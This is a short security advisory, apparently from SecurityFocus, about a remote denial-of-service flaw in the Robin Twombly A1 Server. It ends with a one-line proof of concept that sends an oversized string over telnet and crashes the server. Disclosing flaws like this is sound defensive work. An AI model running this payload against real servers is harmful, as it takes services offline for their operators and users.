source: https://www.securityfocus.com/bid/2435/info

It is possible for a remote user to cause a denial of service condition in Robin Twombly A1 Server.

Submitting a specially crafted request via a telnet connection, could cause the A1 server to crash.

A restart of the server is required in order to gain normal functionality. 

echo `perl -e 'print "A" x 1000'` | telnet target